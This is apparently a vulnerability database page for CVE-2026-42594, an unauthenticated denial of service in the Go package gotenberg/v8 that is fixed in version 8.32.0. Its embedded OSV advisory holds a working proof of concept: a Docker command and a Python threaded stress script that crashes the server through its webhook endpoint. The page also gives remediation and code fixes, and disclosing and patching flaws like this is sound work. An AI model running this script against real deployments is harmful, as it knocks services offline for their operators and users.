CVE-2026-42594: Github.com/gotenberg/gotenberg/v8 Denial of Service Vulnerability
HIGHCVE-2026-42594 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg has an unauthenticated denial of service via echo.context pool reuse in webhook async goroutine. Remediation is available by upgrading affected packages to version 8.32.0.
CVE-2026-42594 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-42594
To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/gotenberg/gotenberg/v8 to 8.32.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/gotenberg/gotenberg/v8
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42594, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:
inspect dependencies for github.com/gotenberg/gotenberg/v8
Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.32.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42594 Affected Github.com/gotenberg/gotenberg/v8 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/gotenberg/gotenberg/v8
|
Go |
< 8.32.0
|
8.32.0
|
References
Frequently Asked Questions
What is CVE-2026-42594?
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
What version fixes CVE-2026-42594?
Is github.com/gotenberg/gotenberg/v8 affected?
What is the CVSS score of CVE-2026-42594?
What CWE is associated with CVE-2026-42594?
How can I check Go dependencies for CVE-2026-42594?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r33j-c622-r6qp",
"modified" : "2026-05-14T20:52:40Z",
"published" : "2026-05-07T01:00:24Z",
"aliases" : [ "CVE-2026-42594" ],
"summary" : "Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine",
"details" : "## Summary\n\nThe webhook middleware spawns a goroutine that holds a reference to the request's `echo.Context` after the synchronous handler returns `ErrAsyncProcess` and Echo recycles the context back to its `sync.Pool`. When a concurrent request claims the recycled context, `c.Reset()` clears the store. If the webhook goroutine reaches `hardTimeoutMiddleware` at that moment, an unchecked type assertion on a nil store entry panics outside any `recover()` scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default `webhook-deny-list` filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 `GET /version` requests crashes the process in about two seconds.\n\n## Details\n\n`pkg/modules/webhook/middleware.go:338-382` starts the async goroutine and immediately returns `api.ErrAsyncProcess` to the caller:\n\n```go\nw.asyncCount.Add(1)\ngo func() {\n defer cancel()\n defer w.asyncCount.Add(-1)\n\n err := next(c) // line 343\n ...\n sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })\n}()\n\nreturn api.ErrAsyncProcess // line 382\n```\n\n`pkg/modules/api/middlewares.go:356-361` sees the sentinel, responds with `204 No Content`, and lets Echo return `c` to the pool:\n\n```go\nif errors.Is(err, ErrAsyncProcess) {\n return c.NoContent(http.StatusNoContent)\n}\n```\n\nEcho's router calls `c.Reset()` before serving the next request from the same goroutine pool slot, wiping `c.store`. When the webhook goroutine's `next(c)` enters `hardTimeoutMiddleware` at `pkg/modules/api/middlewares.go:396-398`, the handler dereferences the store before the new recover scope exists:\n\n```go\nreturn func(c echo.Context) error {\n logger := c.Get(\"logger\").(*slog.Logger) // line 398\n\n ...\n go func() {\n defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here\n errChan <- next(c)\n }()\n```\n\nIf a concurrent request has just acquired `c` from the pool, `c.Get(\"logger\")` returns `nil`, and `nil.(*slog.Logger)` panics at line 398. The panic is not inside any goroutine with a `recover()`, so the Go runtime terminates the process with exit code 2.\n\nNo `echo.Recover` middleware is registered (`pkg/modules/api/api.go:480-536`). `GOTRACEBACK` defaults propagate the panic to stderr and exit.\n\n## Proof of Concept\n\nReproduction on the stock Docker image with default configuration:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 \\\n -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error\n```\n\nSingle-process stress script (Alice sends both streams, no second actor):\n\n```python\nimport requests, subprocess, time, json, threading\n\nTARGET = \"http://localhost:3000\"\nWEBHOOK = \"http://httpbin.org/post\" # passes default webhook-deny-list\nSTOP = threading.Event()\nhtml = b\"<html><body><h1>Q</h1></body></html>\"\n\ndef webhook_fire():\n s = requests.Session()\n while not STOP.is_set():\n try:\n s.post(\n f\"{TARGET}/forms/chromium/convert/html\",\n files={\"files\": (\"index.html\", html, \"text/html\")},\n headers={\n \"Gotenberg-Webhook-Url\": WEBHOOK,\n \"Gotenberg-Webhook-Error-Url\": WEBHOOK,\n },\n timeout=15,\n )\n except: pass\n\ndef noise_fire():\n s = requests.Session()\n while not STOP.is_set():\n try: s.get(f\"{TARGET}/version\", timeout=2)\n except: pass\n\nfor _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()\nfor _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()\n\nt0 = time.time()\nwhile time.time() - t0 < 60:\n time.sleep(1)\n status = json.loads(subprocess.run(\n [\"docker\", \"inspect\", \"gotenberg-poc\"],\n capture_output=True, text=True, check=True).stdout)[0][\"State\"]\n if status[\"Status\"] != \"running\":\n print(f\"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}\")\n STOP.set()\n break\n```\n\nObserved output:\n\n```\nprocess crashed after 2.2s, exit code 2\n```\n\nContainer stderr captured with `docker logs gotenberg-poc`:\n\n```\npanic: interface conversion: interface {} is nil, not *slog.Logger\ngoroutine 287020 [running]:\n /home/pkg/modules/api/middlewares.go:398 +0x2e6\n /home/pkg/modules/webhook/middleware.go:343 +0xec\ncreated by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2\n /home/pkg/modules/webhook/middleware.go:338 +0x1176\n```\n\n## Impact\n\nAny client that can reach the Gotenberg API crashes the process. Auto-restart policies (`--restart=always`, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.\n\n## Recommended Fix\n\nReplace the unchecked type assertion at `pkg/modules/api/middlewares.go:398` with a guarded lookup that handles the pool-reuse case:\n\n```go\nlogger, _ := c.Get(\"logger\").(*slog.Logger)\nif logger == nil {\n return errors.New(\"context reused from pool before middleware chain populated it\")\n}\n```\n\nAlso add a `defer recover()` at the top of the webhook goroutine body at `pkg/modules/webhook/middleware.go:338` so any future panic downstream does not kill the process:\n\n```go\ngo func() {\n defer func() {\n if r := recover(); r != nil {\n ctx.Log().Error(fmt.Sprintf(\"webhook goroutine panic: %v\", r))\n handleError(fmt.Errorf(\"internal error: %v\", r))\n }\n }()\n defer cancel()\n defer w.asyncCount.Add(-1)\n ...\n}()\n```\n\nA deeper fix detaches `echo.Context` from `api.Context` before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear `ctx.echoCtx` so downstream code cannot reach the pooled context.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/gotenberg/gotenberg/v8"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.32.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 8.31.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42594"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gotenberg/gotenberg"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-362" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T01:00:24Z",
"nvd_published_at" : "2026-05-14T16:16:22Z"
}
}